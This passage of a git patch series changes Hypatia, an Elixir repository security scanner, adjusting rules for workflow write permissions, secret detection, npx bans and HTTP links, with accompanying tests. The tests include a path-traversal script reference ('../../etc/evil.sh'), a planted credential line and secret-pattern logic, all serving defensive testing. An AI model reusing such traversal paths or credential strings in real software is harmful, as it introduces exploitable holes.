run_line) do + repo = + create_repo_with_workflow(""" + name: Wiki Sync + permissions: + contents: write + jobs: + sync: + runs-on: ubuntu-latest + steps: + - run: #{run_line} + """) + + File.mkdir_p!(Path.join(repo, "scripts")) + File.write!(Path.join(repo, "scripts/wiki-sync.sh"), script_body) + repo + end + + test "a git push inside a called repo script counts as a write" do + repo = wiki_sync_repo("git push origin master\n", "bash scripts/wiki-sync.sh") + [f] = WorkflowHardening.wh002_excessive_permissions(repo) + assert f.severity == :warn + refute f.reason =~ "safe to narrow" + File.rm_rf!(repo) + end + + test "a called script that does not write keeps the :high narrowing advice" do + repo = wiki_sync_repo("echo hello\n", "./scripts/wiki-sync.sh") + [f] = WorkflowHardening.wh002_excessive_permissions(repo) + assert f.severity == :high + File.rm_rf!(repo) + end + + test "a script path escaping the repo is not followed" do + repo = wiki_sync_repo("echo hello\n", "bash ../../etc/evil.sh") + [f] = WorkflowHardening.wh002_excessive_permissions(repo) + assert f.severity == :high + File.rm_rf!(repo) + end + end + describe "wh002_excessive_permissions/1 — three probes, not one" do test "no write performed: narrowing is real hardening, stays :high" do repo = From bd86182ab9ea8657d4f511502a7d58f38c90bfd1 Mon Sep 17 00:00:00 2001 From: "Jonathan D.A. Jewell" <6759885+hyperpolymath@users.noreply.github.com> Date: Wed, 30 Sep 2026 11:42:44 +0100 Subject: [PATCH 12/17] fix(rules): Scorecard Security-Policy accepts SECURITY.adoc (shared set) check_security_policy kept its own SECURITY.md-only path list and kept reporting absolute-zero's SECURITY.adoc as missing after the CI/CD requirement was fixed. Expose CicdRules.policy_file_candidates/1 and policy_file_present?/2 and delegate, so the two cannot drift. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01QFphKkDVB9pUDSCD4bkz65 --- lib/rules/cicd_rules.ex | 24 +++++++++--- lib/scorecard_ingestor.ex | 12 +++--- ...corecard_ingestor_security_policy_test.exs | 37 +++++++++++++++++++ 3 files changed, 61 insertions(+), 12 deletions(-) create mode 100644 test/scorecard_ingestor_security_policy_test.exs diff --git a/lib/rules/cicd_rules.ex b/lib/rules/cicd_rules.ex index 2dd0e271..5befd746 100644 --- a/lib/rules/cicd_rules.ex +++ b/lib/rules/cicd_rules.ex @@ -50,16 +50,11 @@ defmodule Hypatia.Rules.CicdRules do # Community-health files (SECURITY.md, CONTRIBUTING.md, …) are recognised # by GitHub in any of root, `.github/`, or `docs/`. Check all three so the # rule doesn't false-positive when SECURITY.md lives under `.github/`. - candidates = - for name <- markup_variants(file), dir <- ["", ".github", "docs"] do - if dir == "", do: name, else: Path.join(dir, name) - end - cond do # Repo-rooted check: nested paths like `.github/dependabot.yml` can # only be confirmed via on-disk inspection. The root_files list is # not enough — without this the rule was a false-positive factory. - is_binary(repo_path) and Enum.any?(candidates, &File.exists?(Path.join(repo_path, &1))) -> + is_binary(repo_path) and policy_file_present?(repo_path, file) -> true file in Map.get(info, :files, []) -> @@ -77,6 +72,23 @@ defmodule Hypatia.Rules.CicdRules do # set. Non-document requirements (`.yml`) are matched exactly. @policy_markups ~w(.md .markdown .adoc .rst) + @doc """ + Repo-relative paths that satisfy a requirement for `file`: every accepted + markup of it, in the root, `.github/` or `docs/`. The single source of truth + for "is this policy document present" — the Scorecard ingestor's + Security-Policy check delegates here rather than keeping its own list. + """ + def policy_file_candidates(file) do + for name <- markup_variants(file), dir <- ["", ".github", "docs"] do + if dir == "", do: name, else: Path.join(dir, name) + end + end + + @doc "True when any `policy_file_candidates/1` path exists under `repo_path`." + def policy_file_present?(repo_path, file) do + Enum.any?(policy_file_candidates(file), &File.exists?(Path.join(repo_path, &1))) + end + defp markup_variants(file) do if Path.extname(file) in @policy_markups do base = Path.rootname(file) diff --git a/lib/scorecard_ingestor.ex b/lib/scorecard_ingestor.ex index 611bc3e8..e3445ba2 100644 --- a/lib/scorecard_ingestor.ex +++ b/lib/scorecard_ingestor.ex @@ -359,13 +359,13 @@ defmodule Hypatia.ScorecardIngestor do # --- Local Check Implementations --- defp check_security_policy(repo_path, repo_name) do - security_paths = [ - Path.join(repo_path, "SECURITY.md"), - Path.join([repo_path, ".github", "SECURITY.md"]), - Path.join(repo_path, "security.md") - ] + # Same acceptance set as the CI/CD requirement (any markup; root, .github/ + # or docs/), so the two checks cannot disagree about SECURITY.adoc again. + present = + Hypatia.Rules.CicdRules.policy_file_present?(repo_path, "SECURITY.md") or + File.exists?(Path.join(repo_path, "security.md")) - unless Enum.any?(security_paths, &File.exists?/1) do + unless present do make_pattern("SC-016", "Security-Policy", repo_name, "No SECURITY.md found in #{repo_name}") end end diff --git a/test/scorecard_ingestor_security_policy_test.exs b/test/scorecard_ingestor_security_policy_test.exs new file mode 100644 index 00000000..91326570 --- /dev/null +++ b/test/scorecard_ingestor_security_policy_test.exs @@ -0,0 +1,37 @@ +# SPDX-License-Identifier: MPL-2.0 +defmodule Hypatia.ScorecardIngestorSecurityPolicyTest do + # absolute-zero ships SECURITY.adoc; the local Scorecard check demanded the + # literal SECURITY.md and reported it missing while the CI/CD requirement + # (fixed in the same sweep) accepted it. Both now share one acceptance set. + use ExUnit.Case, async: true + + setup do + dir = Path.join(System.tmp_dir!(), "scorecard-secpol-#{System.unique_integer([:positive])}") + File.mkdir_p!(dir) + on_exit(fn -> File.rm_rf!(dir) end) + %{dir: dir} + end + + defp policy_findings(dir) do + {:ok, findings} = Hypatia.ScorecardIngestor.local_scan(dir, "fixture") + Enum.filter(findings, &(&1["category"] == "SecurityPolicy")) + end + + test "no policy document is reported", %{dir: dir} do + assert [_] = policy_findings(dir) + end + + for rel <- ["SECURITY.md", "SECURITY.adoc", ".github/SECURITY.rst", "docs/SECURITY.adoc"] do + test "#{rel} satisfies the check", %{dir: dir} do + path = Path.join(dir, unquote(rel)) + File.mkdir_p!(Path.dirname(path)) + File.write!(path, "= Security\n") + assert [] = policy_findings(dir) + end + end + + test "an unrelated SECURITY.txt does not", %{dir: dir} do + File.write!(Path.join(dir, "SECURITY.txt"), "x") + assert [_] = policy_findings(dir) + end +end From b7d2047b911ac21ddb24918110a2a43240e32b31 Mon Sep 17 00:00:00 2001 From: "Jonathan D.A. Jewell" <6759885+hyperpolymath@users.noreply.github.com> Date: Wed, 30 Sep 2026 11:47:05 +0100 Subject: [PATCH 13/17] fix(rules): http_in_docs requires a public dotted host Placeholders (http://), single-label docker service names (http://julia-ml:9000), RFC 2606/6761 reserved names (*.example, .test, .invalid, .localhost, .local, .internal) and fragments like http://+ cannot be moved to https. Verbatim licence texts under LICENSES/ are exempt. Measured on echidna: 18 -> 13; the 13 left (mizar, ACL2, PVS links) are all public hosts. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01QFphKkDVB9pUDSCD4bkz65 --- lib/rules/cicd_rules.ex | 13 +++++++-- test/http_in_docs_test.exs | 54 ++++++++++++++++++++++++++++++++++++++ 2 files changed, 65 insertions(+), 2 deletions(-) create mode 100644 test/http_in_docs_test.exs diff --git a/lib/rules/cicd_rules.ex b/lib/rules/cicd_rules.ex index 5befd746..4cba4cac 100644 --- a/lib/rules/cicd_rules.ex +++ b/lib/rules/cicd_rules.ex @@ -798,13 +798,22 @@ defmodule Hypatia.Rules.CicdRules do # `http://www.w3.org/...` XML-namespace pattern (which is identifier- # only, not a navigable URL). Severity :medium (advisory; flagrant # uses become RFC-9116 / RSR violations). + # + # Only a URL with a public dotted host can be "upgraded to https", so the + # host must contain a dot and must not be reserved (RFC 2606/6761: + # example[.com|.org|.net], *.example, *.test, *.invalid, *.localhost, plus + # *.local and *.internal). That excludes placeholders (`http://`), + # single-label service names (`http://julia-ml:9000` on a docker network) + # and fragments like `http://+` — every one a false positive on echidna. + # Verbatim licence texts under LICENSES/ are not the repo's to edit. %{ id: :http_in_docs, pattern: - ~r/\bhttp:\/\/(?!localhost|127\.0\.0\.1|0\.0\.0\.0|::1|www\.w3\.org\/|example\.com)/, + ~r/\bhttp:\/\/(?!localhost(?![\w.-])|127\.0\.0\.1|0\.0\.0\.0|::1|www\.w3\.org\/|(?:[\w-]+\.)*example(?:\.(?:com|org|net))?(?![\w.-])|[\w.-]+\.(?:test|invalid|localhost|local|internal)(?![\w.-]))[A-Za-z0-9-]+\.[A-Za-z0-9.-]*[A-Za-z]/, reason: "HTTP URL in prose -- estate policy mandates HTTPS in docs (use https:// or, if intentional, add an inline `` pragma)", - applies_to: ["*.md", "*.adoc", "*.rst", "*.txt"] + applies_to: ["*.md", "*.adoc", "*.rst", "*.txt"], + path_allow_prefixes: ["LICENSES/"] }, %{ id: :mu_plugin_no_guard, diff --git a/test/http_in_docs_test.exs b/test/http_in_docs_test.exs new file mode 100644 index 00000000..c19e0257 --- /dev/null +++ b/test/http_in_docs_test.exs @@ -0,0 +1,54 @@ +# SPDX-License-Identifier: MPL-2.0 + +defmodule Hypatia.HttpInDocsTest do + use ExUnit.Case, async: true + + alias Hypatia.CLI + + # Every negative case below is a line hypatia reported on echidna + # (echidna#314): none names a public host that could be moved to https. + + setup do + dir = Path.join(System.tmp_dir!(), "hyp-http-test-#{:erlang.unique_integer([:positive])}") + File.mkdir_p!(dir) + on_exit(fn -> File.rm_rf!(dir) end) + {:ok, dir: dir} + end + + defp findings(dir, rel, line) do + path = Path.join(dir, rel) + File.mkdir_p!(Path.dirname(path)) + File.write!(path, line <> "\n") + + dir + |> CLI.collect_findings([:content_patterns]) + |> Enum.filter(&(&1.type == "http_in_docs")) + end + + test "a public http link is reported", %{dir: dir} do + assert [_] = findings(dir, "docs/x.adoc", "See http://mizar.org/system/index.html[Mizar].") + end + + test "a public http link after a reserved one on the same line is still reported", %{dir: dir} do + assert [_] = findings(dir, "README.md", "http://julia-ml:9000 then http://pvs.csl.sri.com/") + end + + for line <- [ + ~s|curl -m 5 http://:8081/api/health|, + "export URL=http://julia-ml:9000", + "VERISIM=http://verisim.staging.example:9090", + "http://api.example.org/v1 and http://example.com", + "http://svc.internal/health and http://printer.local/", + "|http://+ |fragment|", + "http://localhost:4000" + ] do + test "non-public host is not reported: #{line}", %{dir: dir} do + assert [] = findings(dir, "docs/x.adoc", unquote(line)) + end + end + + test "verbatim licence text under LICENSES/ is not reported", %{dir: dir} do + assert [] = + findings(dir, "LICENSES/MPL-2.0.txt", "one at http://mozilla.org/MPL/2.0/.") + end +end From 57f5469f718bc5e221c6d83bc8a8c64f2b817e69 Mon Sep 17 00:00:00 2001 From: "Jonathan D.A. Jewell" <6759885+hyperpolymath@users.noreply.github.com> Date: Wed, 30 Sep 2026 11:49:43 +0100 Subject: [PATCH 14/17] fix(rules): npx_in_workflow ignores npx named in quoted grep/echo args The ban's own enforcer (echidna scripts/ban-npm.sh) greps for and prints "npx"; three findings were text, not execution. A real npx after a quoted echo on the same line still fires (tested). Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01QFphKkDVB9pUDSCD4bkz65 --- lib/rules/cicd_rules.ex | 6 ++++- test/npx_in_workflow_test.exs | 43 +++++++++++++++++++++++++++++++++++ 2 files changed, 48 insertions(+), 1 deletion(-) create mode 100644 test/npx_in_workflow_test.exs diff --git a/lib/rules/cicd_rules.ex b/lib/rules/cicd_rules.ex index 4cba4cac..596f3ce0 100644 --- a/lib/rules/cicd_rules.ex +++ b/lib/rules/cicd_rules.ex @@ -472,7 +472,11 @@ defmodule Hypatia.Rules.CicdRules do pattern: ~r/(?:^|[\s;&|])(?:npx|npm[[:space:]]+run)\b/m, reason: "npx / `npm run` banned in CI -- use `bunx` or `bun run` instead (npm banned 2026-05-25; Deno banned 2026-09-22, standards LANGUAGE-POLICY §1.3)", - applies_to: ["*.yml", "*.yaml", "*.sh", "Justfile", "Mustfile"] + applies_to: ["*.yml", "*.yaml", "*.sh", "Justfile", "Mustfile"], + # The ban's own enforcers (echidna scripts/ban-npm.sh) name npx inside a + # quoted grep pattern or an echo message; that is text, not execution. + # Only a quoted argument counts: `echo "x" && npx foo` still fires. + skip_if_line_matches: ~r/\b(?:grep|egrep|rg|echo|printf)\b[^;]*?["'][^"']*\bnpx\b[^"']*["']/ }, %{id: :golang_detected, glob: "*.go", reason: "Go banned -- use Rust"}, # Python ban is total — no exceptions (the former SaltStack carve-out diff --git a/test/npx_in_workflow_test.exs b/test/npx_in_workflow_test.exs new file mode 100644 index 00000000..3c28e4b9 --- /dev/null +++ b/test/npx_in_workflow_test.exs @@ -0,0 +1,43 @@ +# SPDX-License-Identifier: MPL-2.0 + +defmodule Hypatia.NpxInWorkflowTest do + use ExUnit.Case, async: true + + alias Hypatia.CLI + + setup do + dir = Path.join(System.tmp_dir!(), "hyp-npx-test-#{:erlang.unique_integer([:positive])}") + File.mkdir_p!(dir) + on_exit(fn -> File.rm_rf!(dir) end) + {:ok, dir: dir} + end + + defp findings(dir, line) do + path = Path.join(dir, "scripts/x.sh") + File.mkdir_p!(Path.dirname(path)) + File.write!(path, line <> "\n") + + dir + |> CLI.collect_findings([:content_patterns]) + |> Enum.filter(&(&1.type == "npx_in_workflow")) + end + + test "running npx is reported", %{dir: dir} do + assert [_] = findings(dir, "npx prettier --check .") + end + + test "npx after a quoted echo on the same line is still reported", %{dir: dir} do + assert [_] = findings(dir, ~s|echo "formatting" && npx prettier .|) + end + + # The three lines hypatia reported on echidna's scripts/ban-npm.sh. + for line <- [ + ~s{if grep -r "npm install\\|npm i \\|npx \\|npm run" scripts/ 2>/dev/null; then}, + ~s{if [ -f "Justfile" ] && grep -q "npm\\|npx" Justfile; then}, + ~s{echo " ✗ npm, npx, node_modules"} + ] do + test "npx named in a quoted grep/echo argument is not reported: #{line}", %{dir: dir} do + assert [] = findings(dir, unquote(line)) + end + end +end From 13ab5d30a0082d9361773a7b19669be6b50086d5 Mon Sep 17 00:00:00 2001 From: "Jonathan D.A. Jewell" <6759885+hyperpolymath@users.noreply.github.com> Date: Wed, 30 Sep 2026 16:10:27 +0100 Subject: [PATCH 15/17] fix(rules): address CodeRabbit review on #883 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - npx_in_workflow: mask only the quoted arguments of grep/echo/printf instead of skipping the whole line, so `echo "npx is banned" && npx foo` is still reported. - RE008: accept the author-pinned gate only when a positive `github.event.pull_request.user.login == ''` is a required `&&` conjunct; negated or `||` forms keep the finding. - secret_detected: the proof-source suppression now also requires the line to be a named proof fact (`lemma inj_secret: "…"`), so `password = "hunter2"` in a .lean/.thy file is still reported (end-to-end test via CLI.collect_findings). - repo requirements: the `:files` fallback (no :repo_path) accepts the same markup variants as the on-disk check (SECURITY.adoc). - WH002 script follow: resolve script references against the repo root and every literal `working-directory:` (step or defaults.run), refuse to read through a symbolic link in any component below the root, and never say "safe to narrow" when an in-repo script could not be read. mix test: 1749 tests, 0 failures (242 :verisim_data excluded, as before). Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01QFphKkDVB9pUDSCD4bkz65 --- lib/hypatia/cli.ex | 4 +- lib/hypatia/scanner_suppression.ex | 27 +++--- lib/rules/cicd_rules.ex | 31 ++++++- lib/rules/research_extensions.ex | 30 ++++++- lib/rules/workflow_hardening.ex | 97 +++++++++++++++++++--- test/npx_in_workflow_test.exs | 12 +++ test/proof_source_secret_test.exs | 32 +++++++ test/research_extensions_test.exs | 30 +++++++ test/rules/cicd_repo_requirements_test.exs | 18 ++++ test/scanner_suppression_test.exs | 52 ++++++++++-- test/workflow_hardening_test.exs | 93 +++++++++++++++++++++ 11 files changed, 390 insertions(+), 36 deletions(-) create mode 100644 test/proof_source_secret_test.exs diff --git a/lib/hypatia/cli.ex b/lib/hypatia/cli.ex index fc2fb332..e3e4a7fc 100644 --- a/lib/hypatia/cli.ex +++ b/lib/hypatia/cli.ex @@ -1173,7 +1173,9 @@ defmodule Hypatia.CLI do |> Enum.reject( &Hypatia.ScannerSuppression.comment_masked_secret_label?(&1, line, idx + 1) ) - |> Enum.reject(&Hypatia.ScannerSuppression.proof_source_ambiguous_label?(&1, file)) + |> Enum.reject( + &Hypatia.ScannerSuppression.proof_source_ambiguous_label?(&1, file, line) + ) |> Enum.map(fn label -> # Placeholder-shaped values and commented-out lines downgrade to # medium/report instead of critical/revoke_rotate_and_purge diff --git a/lib/hypatia/scanner_suppression.ex b/lib/hypatia/scanner_suppression.ex index b0a75cf3..5980eec6 100644 --- a/lib/hypatia/scanner_suppression.ex +++ b/lib/hypatia/scanner_suppression.ex @@ -356,23 +356,30 @@ defmodule Hypatia.ScannerSuppression do def comment_masked_secret_label?(_label, _line, _line_number), do: false - # Proof-assistant sources name lemmas and definitions with `name: "prop"` - # (Isabelle `lemma inj_secret: "…"`), which is exactly the `secret: "…"` - # form. They carry no runtime configuration, so only the three - # form-ambiguous labels are dropped there; structurally-unforgeable shapes - # (`ghp_…`, `AKIA…`, PEM blocks) still fire. absolute-zero OND.thy:62. + # Proof-assistant sources name lemmas and facts with `name: "prop"` + # (Isabelle `lemma inj_secret: "…"`, `assumes pw_ok: "…"`), which is exactly + # the `secret: "…"` form. Only that declaration shape is dropped, and only + # for the three form-ambiguous labels: a plain assignment such as + # `password = "…"` in a proof source still fires, as do the + # structurally-unforgeable shapes (`ghp_…`, `AKIA…`, PEM blocks). + # absolute-zero OND.thy:62. @proof_source_exts ~w(.thy .v .agda .lagda .lean .idr .lidr) + @proof_named_fact ~r/^\s*(?:lemma|theorem|corollary|proposition|schematic_goal|definition|abbreviation|fun|function|primrec|inductive|assumes|shows|and|have|show|hence|thus|obtain|note)\s+[A-Za-z_][\w']*\s*:\s*"/ + @doc """ - Return true when `label` is form-ambiguous and `file` is a proof-assistant - source (`.thy`, `.v`, `.agda`, `.lean`, `.idr`, and their literate forms). + Return true when `label` is form-ambiguous, `file` is a proof-assistant + source (`.thy`, `.v`, `.agda`, `.lean`, `.idr`, and their literate forms) + and `line` is a named proof declaration (`lemma inj_secret: "…"`). """ - def proof_source_ambiguous_label?(label, file) when is_binary(label) and is_binary(file) do + def proof_source_ambiguous_label?(label, file, line) + when is_binary(label) and is_binary(file) and is_binary(line) do label in @form_ambiguous_secret_labels and - (Path.extname(file) in @proof_source_exts or String.ends_with?(file, ".lagda.md")) + (Path.extname(file) in @proof_source_exts or String.ends_with?(file, ".lagda.md")) and + Regex.match?(@proof_named_fact, line) end - def proof_source_ambiguous_label?(_label, _file), do: false + def proof_source_ambiguous_label?(_label, _file, _line), do: false @doc """ Return true when `line` is a whole-line comment. diff --git a/lib/rules/cicd_rules.ex b/lib/rules/cicd_rules.ex index 596f3ce0..512e8597 100644 --- a/lib/rules/cicd_rules.ex +++ b/lib/rules/cicd_rules.ex @@ -57,7 +57,9 @@ defmodule Hypatia.Rules.CicdRules do is_binary(repo_path) and policy_file_present?(repo_path, file) -> true - file in Map.get(info, :files, []) -> + # Without a repo_path the listed files are all there is; accept the + # same markup variants the on-disk check does (CodeRabbit on #883). + Enum.any?(policy_file_candidates(file), &(&1 in Map.get(info, :files, []))) -> true true -> @@ -475,8 +477,9 @@ defmodule Hypatia.Rules.CicdRules do applies_to: ["*.yml", "*.yaml", "*.sh", "Justfile", "Mustfile"], # The ban's own enforcers (echidna scripts/ban-npm.sh) name npx inside a # quoted grep pattern or an echo message; that is text, not execution. - # Only a quoted argument counts: `echo "x" && npx foo` still fires. - skip_if_line_matches: ~r/\b(?:grep|egrep|rg|echo|printf)\b[^;]*?["'][^"']*\bnpx\b[^"']*["']/ + # Only those quoted arguments are masked before matching, never the whole + # line: `echo "npx is banned" && npx foo` still fires on the real npx. + mask_quoted_args_of: ~w(grep egrep rg echo printf) }, %{id: :golang_detected, glob: "*.go", reason: "Go banned -- use Rust"}, # Python ban is total — no exceptions (the former SaltStack carve-out @@ -869,6 +872,10 @@ defmodule Hypatia.Rules.CicdRules do non-whitespace characters are `#` or `//`. * `skip_if_line_matches: ~r/.../` — ignores matching lines that also match this regex (a rule's own remediation, e.g. `mktemp`). + * `mask_quoted_args_of: [cmd, ...]` — blanks quoted arguments of the + named commands (`echo "npx"` → `echo ""`) before matching, so text + that only *names* a banned tool is not reported while an executable + use elsewhere on the same line still is. * `strip_yaml_comments: true` — removes unquoted YAML comments before matching while preserving the original line numbers and finding text. * Inline pragma — `hypatia:ignore ` on a matching line or the @@ -996,7 +1003,7 @@ defmodule Hypatia.Rules.CicdRules do |> Enum.with_index(1) |> Enum.flat_map(fn {{line, matching_line}, n} -> cond do - not Regex.match?(rule.pattern, matching_line) -> + not Regex.match?(rule.pattern, mask_quoted_args(rule, matching_line)) -> [] # C4: a rule may opt out of matching inside comments. Default false, @@ -1031,6 +1038,22 @@ defmodule Hypatia.Rules.CicdRules do defp skip_line_match?(%{skip_if_line_matches: %Regex{} = re}, line), do: Regex.match?(re, line) defp skip_line_match?(_rule, _line), do: false + # Blank the quoted arguments of the rule's named commands, repeating until + # stable so every quoted argument of `grep -e "a" -e "b"` is masked. Only + # the quoted text goes; separators and later commands are kept intact. + defp mask_quoted_args(%{mask_quoted_args_of: [_ | _] = cmds}, line) do + alt = Enum.map_join(cmds, "|", &Regex.escape/1) + re = Regex.compile!("(\\b(?:#{alt})\\b[^;&|\"']*)([\"'])[^\"']+\\2") + mask_until_stable(re, line) + end + + defp mask_quoted_args(_rule, line), do: line + + defp mask_until_stable(re, line) do + masked = Regex.replace(re, line, "\\1\\2\\2") + if masked == line, do: line, else: mask_until_stable(re, masked) + end + defp content_for_matching(rule, content) do if Map.get(rule, :strip_yaml_comments, false) do content diff --git a/lib/rules/research_extensions.ex b/lib/rules/research_extensions.ex index 7fe11fa7..6f3bcda2 100644 --- a/lib/rules/research_extensions.ex +++ b/lib/rules/research_extensions.ex @@ -870,12 +870,36 @@ defmodule Hypatia.Rules.ResearchExtensions do # forge. With `&&` and no `||` the spoofable `github.actor` half can only # narrow the gate, never open it (panoply / nextgen-typing # dependabot-automerge.yml were reported CRITICAL for exactly this shape). + # + # Fail-safe: the author equality must be a whole, positive, top-level `&&` + # conjunct. Any logical `!` (not `!=`) anywhere in the expression keeps the + # finding, since `!(user.login == 'bot')` admits every non-bot author. defp author_pinned_gate?(line, name) do author_re = - ~r/github\.event\.pull_request\.user\.login\s*==\s*['"]#{Regex.escape(name)}['"]/ + ~r/^github\.event\.pull_request\.user\.login\s*==\s*['"]#{Regex.escape(name)}['"]$/ + + expr = + line + |> String.replace(~r/^\s*(?:-\s*)?if:\s*/, "") + |> String.replace(~r/\$\{\{|\}\}/, "") + + String.contains?(expr, "&&") and not String.contains?(expr, "||") and + not Regex.match?(~r/!(?!=)/, expr) and + expr + |> String.split("&&") + |> Enum.map(&strip_wrapping_parens/1) + |> Enum.any?(&Regex.match?(author_re, &1)) + end + + # Remove whitespace and matched outer parentheses: `( (a == b) )` → `a == b`. + # Unmatched parentheses are left in place, so the conjunct cannot match. + defp strip_wrapping_parens(conjunct) do + trimmed = String.trim(conjunct) - String.contains?(line, "&&") and not String.contains?(line, "||") and - Regex.match?(author_re, line) + case Regex.run(~r/^\((.*)\)$/s, trimmed) do + [_, inner] -> strip_wrapping_parens(inner) + nil -> trimmed + end end # ─── RE009: fromJSON(secrets.X) bypasses runner redaction ──────────── diff --git a/lib/rules/workflow_hardening.ex b/lib/rules/workflow_hardening.ex index 9cbef269..be3e5846 100644 --- a/lib/rules/workflow_hardening.ex +++ b/lib/rules/workflow_hardening.ex @@ -216,7 +216,7 @@ defmodule Hypatia.Rules.WorkflowHardening do [finding_wh002(rel, "set to `write-all`", :high)] Regex.match?(~r/^permissions:\s*\n\s+contents:\s*write/m, content) -> - [wh002_contents_write_finding(rel, with_local_scripts(content, repo_path))] + [wh002_contents_write_finding(rel, local_script_scan(content, repo_path))] Regex.match?(~r/^permissions:\s*\n\s+write-all:\s*true/m, content) -> [finding_wh002(rel, "with `write-all: true`", :high)] @@ -293,25 +293,91 @@ defmodule Hypatia.Rules.WorkflowHardening do # workflow text made WH002 call absolute-zero's wiki-sync.yml "no write # operation found — safe to narrow" while scripts/wiki-sync.sh does the # `git push` that needs the grant: the recommended narrowing breaks the sync. - # Only existing files under the repo are read; nothing outside it is followed. @local_script_ref ~r/(? + Path.expand(d, root) + end) + ] + |> Enum.uniq() + |> Enum.filter(&inside?(&1, root)) + + {scripts, unresolved} = @local_script_ref |> Regex.scan(content, capture: :all_but_first) - |> Enum.map(fn [ref] -> Path.expand(ref, root) end) + |> Enum.map(fn [ref] -> ref end) |> Enum.uniq() - |> Enum.filter(&(String.starts_with?(&1, root <> "/") and File.regular?(&1))) - |> Enum.map(&File.read!/1) + |> Enum.reduce({[], []}, fn ref, {found, missing} -> + candidates = + bases + |> Enum.map(&Path.expand(ref, &1)) + |> Enum.uniq() + |> Enum.filter(&(&1 != root and inside?(&1, root))) + + readable = Enum.filter(candidates, &unlinked_regular_file?(&1, root)) + + cond do + # Every candidate escapes the repo: not a repo-local script. + candidates == [] -> {found, missing} + readable == [] -> {found, [ref | missing]} + true -> {readable ++ found, missing} + end + end) + + texts = scripts |> Enum.uniq() |> Enum.map(&File.read!/1) + %{content: Enum.join([content | texts], "\n"), unresolved: Enum.reverse(unresolved)} + end - Enum.join([content | scripts], "\n") + @doc "Workflow text plus the text of every readable repo-local script it calls." + def with_local_scripts(content, repo_path) when is_binary(content) do + local_script_scan(content, repo_path).content + end + + defp inside?(path, root), do: path == root or String.starts_with?(path, root <> "/") + + # lstat every component from the root down; any symbolic link rejects. + defp unlinked_regular_file?(path, root) do + parts = path |> Path.relative_to(root) |> Path.split() + + parts + |> Enum.scan(root, &Path.join(&2, &1)) + |> Enum.with_index(1) + |> Enum.all?(fn {p, i} -> + case File.lstat(p) do + {:ok, %File.Stat{type: :regular}} -> i == length(parts) + {:ok, %File.Stat{type: :directory}} -> i < length(parts) + _ -> false + end + end) end @doc """ @@ -330,7 +396,7 @@ defmodule Hypatia.Rules.WorkflowHardening do # (3) does a job carry its own `permissions:`. # Only (1) alone is NOT a finding — that was the defect that made this rule # recommend breaking narrowings. - defp wh002_contents_write_finding(rel, content) do + defp wh002_contents_write_finding(rel, %{content: content, unresolved: unresolved}) do writes? = performs_contents_write?(content) job_scoped? = job_level_permissions?(content) @@ -370,6 +436,17 @@ defmodule Hypatia.Rules.WorkflowHardening do :warn ) + # A called script could not be read, so "no write found" is unproven. + # Never tell the owner narrowing is safe on an unread script. + unresolved != [] -> + finding_wh002( + rel, + "with `contents: write` (calls #{Enum.join(unresolved, ", ")}, which " <> + "could not be read (missing, or behind a symbolic link) — verify it " <> + "performs no push/commit/release before narrowing)", + :warn + ) + # No write performed: narrowing is genuine least-privilege hardening. true -> finding_wh002( diff --git a/test/npx_in_workflow_test.exs b/test/npx_in_workflow_test.exs index 3c28e4b9..db4a1578 100644 --- a/test/npx_in_workflow_test.exs +++ b/test/npx_in_workflow_test.exs @@ -30,6 +30,18 @@ defmodule Hypatia.NpxInWorkflowTest do assert [_] = findings(dir, ~s|echo "formatting" && npx prettier .|) end + # A quoted message that names npx must not hide an executable command on + # the same line (CodeRabbit on #883: the old skip discarded the whole line). + for line <- [ + ~s{echo "npx is banned" && npx foo}, + ~s{echo "npx is banned"; npm run build}, + ~s{grep -q "npx" Justfile || npx prettier .} + ] do + test "executable command beside a quoted npx mention is reported: #{line}", %{dir: dir} do + assert [_] = findings(dir, unquote(line)) + end + end + # The three lines hypatia reported on echidna's scripts/ban-npm.sh. for line <- [ ~s{if grep -r "npm install\\|npm i \\|npx \\|npm run" scripts/ 2>/dev/null; then}, diff --git a/test/proof_source_secret_test.exs b/test/proof_source_secret_test.exs new file mode 100644 index 00000000..1ec89aab --- /dev/null +++ b/test/proof_source_secret_test.exs @@ -0,0 +1,32 @@ +# SPDX-License-Identifier: MPL-2.0 + +defmodule Hypatia.ProofSourceSecretTest do + use ExUnit.Case, async: true + + alias Hypatia.CLI + + setup do + dir = Path.join(System.tmp_dir!(), "hyp-proof-secret-#{:erlang.unique_integer([:positive])}") + File.mkdir_p!(dir) + on_exit(fn -> File.rm_rf!(dir) end) + {:ok, dir: dir} + end + + defp secret_findings(dir, name, body) do + File.write!(Path.join(dir, name), body) + + dir + |> CLI.collect_findings([:code_safety]) + |> Enum.filter(&(&1.type == "secret_detected")) + end + + test "a named proof fact is not reported as a secret", %{dir: dir} do + assert [] = secret_findings(dir, "OND.thy", ~s|lemma secret: "x = y"\n|) + end + + # CodeRabbit on #883: the suppression must not hide a real credential + # just because it sits in a proof-language file. + test "an assigned credential in a proof source is still reported", %{dir: dir} do + assert [_ | _] = secret_findings(dir, "A.lean", ~s|password = "hunter2"\n|) + end +end diff --git a/test/research_extensions_test.exs b/test/research_extensions_test.exs index 08bd5c66..66be109a 100644 --- a/test/research_extensions_test.exs +++ b/test/research_extensions_test.exs @@ -571,6 +571,36 @@ defmodule Hypatia.Rules.ResearchExtensionsTest do assert length(ResearchExtensions.re008_spoofable_bot_gate(repo)) == 2 File.rm_rf!(repo) end + + test "still flags a negated author comparison (CodeRabbit on #883)" do + repo = + create_repo_with_workflow(""" + jobs: + x: + if: github.actor == 'dependabot[bot]' && !(github.event.pull_request.user.login == 'dependabot[bot]') + y: + if: ${{ !(github.actor == 'dependabot[bot]' && github.event.pull_request.user.login == 'dependabot[bot]') }} + steps: + - run: echo trusted + """) + + assert length(ResearchExtensions.re008_spoofable_bot_gate(repo)) == 2 + File.rm_rf!(repo) + end + + test "accepts the author conjunct inside an expression wrapper and parentheses" do + repo = + create_repo_with_workflow(""" + jobs: + x: + if: ${{ github.actor == 'dependabot[bot]' && (github.event.pull_request.user.login == 'dependabot[bot]') }} + steps: + - run: echo trusted + """) + + assert ResearchExtensions.re008_spoofable_bot_gate(repo) == [] + File.rm_rf!(repo) + end end # ─── RE009 ────────────────────────────────────────────────────────── diff --git a/test/rules/cicd_repo_requirements_test.exs 